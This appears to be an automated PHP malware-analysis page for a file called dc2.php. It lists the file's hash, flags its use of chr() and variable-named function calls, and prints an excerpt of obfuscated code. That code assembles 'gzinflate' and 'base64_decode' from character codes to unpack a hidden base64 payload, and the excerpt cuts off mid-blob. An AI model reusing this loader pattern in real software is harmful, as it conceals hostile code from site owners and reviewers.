Benign php-malware-analysis Download

dc2.php

PHP invokes a variable-named functionConverts a character code with PHP chr()

SHA-25607f20c09a3b101ef7523ea996e2eb3f3e28d022dc8e966e497a3fb3efc22e302

Evidence

Converts a character code with PHP chr() lines 1–8

1<?php $wxsE7559 = chr(103)."\x7a\x69\x6e\x66".chr(108)."\x61te";
2$AE1718 = chr(98)."a".chr(115)."".chr(101)."\x364_d\x65c\x6F\x64".chr(101);
3$s6353 = $wxsE7559($AE1718("pX1Nb+PK0t5f4XDmHknXkizq05YsjT22PKMc2/IryXfOeceGQJGUxGOJ5CUpW3N8DWSTRTYBkkUQIPsA
4WWUdZBsgiyBAkGQRJMH7W1JPdfNL9szc5J4D22Szu7q6urqquqq6550XdFXTOrzd1rTbSqsyb1p61Tqs
5t6jg0DIPzQNNP9Dqt5Vm61ar12e6VTPVzrvpw+96V31rzht4CdZeV52v6dG05vpmFU6Npe4HVthVP9uO
66T4GJQLerDY0tWPP82+stRd+zb+bjvujP/VHX9RPk8n19Ibepicf+1cT9a5QeHo3fbR+W3R139e/5tVb
7rdJy3cXKUovqeLXxPfp7Ob764Ib0YOtT3b/dNmtL+8HyqeBWq2m6A3yptLGlkpFOT+ZsRZ8LQOH42rcW
80/XJxPiUV/fV8m+u7eTVv6hF0W2 …